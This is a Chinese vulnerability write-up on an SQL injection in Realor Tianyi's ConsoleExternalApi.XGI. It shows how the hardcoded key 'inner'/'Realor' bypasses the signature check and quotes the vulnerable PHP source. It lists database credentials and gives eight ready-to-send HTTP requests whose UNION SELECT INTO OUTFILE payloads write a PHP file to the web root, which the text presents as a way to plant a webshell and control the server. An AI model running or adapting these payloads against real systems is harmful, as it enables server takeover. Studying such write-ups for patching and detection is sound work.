瑞友天翼中存在SQL注入漏洞,攻击者可以利用SQL注入写入webshell,控制目标服务器。
略
略
数据库基本信息
127.0.0.1:5873
db: CASSystemDS
pwd: F1B5214C
user: admin
在ConsoleExternalApi.XGI中根据代码逻辑可得,请求中需携带initparams、key、sign等参数
$initparams = $_REQUEST['initParams'];
$key = $_REQUEST['key'];
$sign = $_REQUEST['sign'];
参数校验逻辑如下,此时直接使用key=inner绕过判断,则$keyVal值为Realor,下面拼接了$initparams和$keyVal并计算其md5值是否和sign变量相同。
if ($key == "wusuokey") {
$keyVal = $COMCASWEB->getfarminfo($key);
} else if ($key == "inner") {
$keyVal = "Realor";
}
if (!isset($keyVal) || empty($keyVal)) {
write_log("{'参数非法':'key值为空'}");
exitErrorJson('参数非法');
}
$signCalculate = md5($initparams . $keyVal);
//testLog("signCalculate=" . $signCalculate);
if ($signCalculate != $sign) {
write_log("{'参数非法':'参数加密方法错误'}");
exitErrorJson('参数非法');
}
之后使用两个下划线分割$initparams变量,存入数组并遍历数组
// 两个下划线分割,变成一个数组,之后遍历数组,用一个下划线分割并变成键值对存入$requestObj变量中。
$paramArr = explode("__", $initparams);
if (count($paramArr) == 0) {
write_log("{'参数非法':'参数中未包含__'}");
exitErrorJson('参数非法11');
}
$requestObj = null;
//testLog($paramArr);
foreach ($paramArr as $key => $value) {
$keyValue = explode("_", $value);
$requestObj[$keyValue[0]] = $keyValue[1];
}
之后从键值对数组中取出键为command的值,进行判断
$cmd = $requestObj['command'];
当$cmd为createUser时,从请求中取出POST body并尝试进行json decode,从中取出键为account的值拼接到sql语句中进行查询,此时可以使用单引号进行sql注入,借助union select into outfile语句写入webshell,达成代码执行。
if ($cmd == "createUser") {
$POST_JSON = json_decode($HTTP_RAW_POST_DATA, true);
$fId = getDefaultVal($POST_JSON['userGroupId'], getAdminGroupId());
$account = $POST_JSON['account'];
if (!isset($account) || empty($account)) {
write_log("{'createUser':'用户账户不可为空'}");
exitErrorJson('用户账号不可为空');
}
$account = utf8ToGbk($account);
$userPwd = $POST_JSON['userPwd'];
if (!isset($userPwd) || empty($userPwd)) {
write_log("{'createUser':'用户密码不可为空'}");
exitErrorJson('用户密码不可为空');
}
//账号是否已存在
$result = mysql_query("select * from cuser where name='" . $account . "'", $DSCon);
PoC
GET /index.php/Index/dologin?name=aa');SELECT%20%22%3C?php%20phpinfo();?%3E%22%20into%20outfile%20%22../../WebRoot/1.php%22;' HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
最新版poc
POST /ConsoleExternalApi.XGI?initParams=command_createUser&key=inner&sign=8b21270d796c45333f88f7db36ed9dbe HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 170
{"account":"aaa' union select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\"<?php phpinfo();?>\" into outfile \"../../WebRoot/1.php\";#","userPwd":"aa"}
POST /ConsoleExternalApi.XGI?initParams=command_importUsers&key=inner&sign=ec7e8f5769c2455b773600c2912216fd HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 183
{"users":[{"account":"aaa' union select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\"<?php phpinfo();?>\" into outfile \"../../WebRoot/1.php\";#","userPwd":"bbb"}]}
POST /ConsoleExternalApi.XGI?initParams=command_editUser__userId_usr00000010&key=inner&sign=dd1d23cb85d99349f2ab003c73df331f HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 174
{"userGroupId":"aa","account":"aaa' union select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\"<?php phpinfo();?>\" into outfile \"../../WebRoot/1.php\";#"}
POST /ConsoleExternalApi.XGI?initParams=command_allocatedPointsToServer&key=inner&sign=a3efd6862f5d11319c6de783b58ff04a HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 142
{"serverId":"aa' union select 0,0,\"<?php phpinfo();?>\" into outfile \"../../WebRoot/1.php\";#","pointNUm":"aaa","maximumConcurrentNUm":"aa"}
POST /ConsoleExternalApi.XGI?initParams=command_getServerIpPort&key=inner&sign=94c4e967c00cb6da510b6a5e4e3c3fcc HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 89
{"iP":"aa' union select 0,\"<?php phpinfo();?>\" into outfile \"../../WebRoot/1.php\";#"}
POST /ConsoleExternalApi.XGI?initParams=command_publishApp&key=inner&sign=74ed1f0c20a444c561294b4939b206dc HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 100
{"name":"aa' union select \"<?php phpinfo();?>\" into outfile \"../../WebRoot/1.php\";#","type":"a"}
POST /ConsoleExternalApi.XGI?initParams=command_editApp__appId_APP00000002&key=inner&sign=f25574d747ffbbd51496015d25438fa9 HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 223
{"name":"aa' union select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\"<?php phpinfo();?>\" into outfile \"../../WebRoot/1.php\";#"}
代码逻辑:
// 传入参数initParams key sign
$initparams = $_REQUEST['initParams'];
$key = $_REQUEST['key'];
$sign = $_REQUEST['sign'];
// 两个下划线分割$initparams,变成一个数组
$paramArr = explode("__", $initparams);
// 设置key inner
if ($key == "wusuokey") {
$keyVal = $COMCASWEB->getfarminfo($key);
} else if ($key == "inner") {
$keyVal = "Realor";
}
if (!isset($keyVal) || empty($keyVal)) {
write_log("{'参数非法':'key值为空'}");
exitErrorJson('参数非法');
}
$signCalculate = md5($initparams . $keyVal);
//testLog("signCalculate=" . $signCalculate);
if ($signCalculate != $sign) {
write_log("{'参数非法':'参数加密方法错误'}");
exitErrorJson('参数非法');
}
$requestObj = null;
//testLog($paramArr);
// command_createuser
// 遍历数组,将数组的每一项通过_分割,变成键值对
foreach ($paramArr as $key => $value) {
$keyValue = explode("_", $value);
$requestObj[$keyValue[0]] = $keyValue[1];
}
// 获取command对应的值
$cmd = $requestObj['command'];
if ($cmd == "createUser") {
// 从请求中获取json数据并decode
$POST_JSON = json_decode($HTTP_RAW_POST_DATA, true);
$account = $POST_JSON['account'];
// 这里要保证请求的json数据里面有account
if (!isset($account) || empty($account)) {
write_log("{'createUser':'用户账户不可为空'}");
exitErrorJson('用户账号不可为空');
}
$account = utf8ToGbk($account);
// 这里要保证请求的json数据里面有userPwd
$userPwd = $POST_JSON['userPwd'];
if (!isset($userPwd) || empty($userPwd)) {
write_log("{'createUser':'用户密码不可为空'}");
exitErrorJson('用户密码不可为空');
}
//账号是否已存在 触发漏洞
$result = mysql_query("select * from cuser where name='" . $account . "'", $DSCon);
Created at 2023-09-20T10:04:31+08:00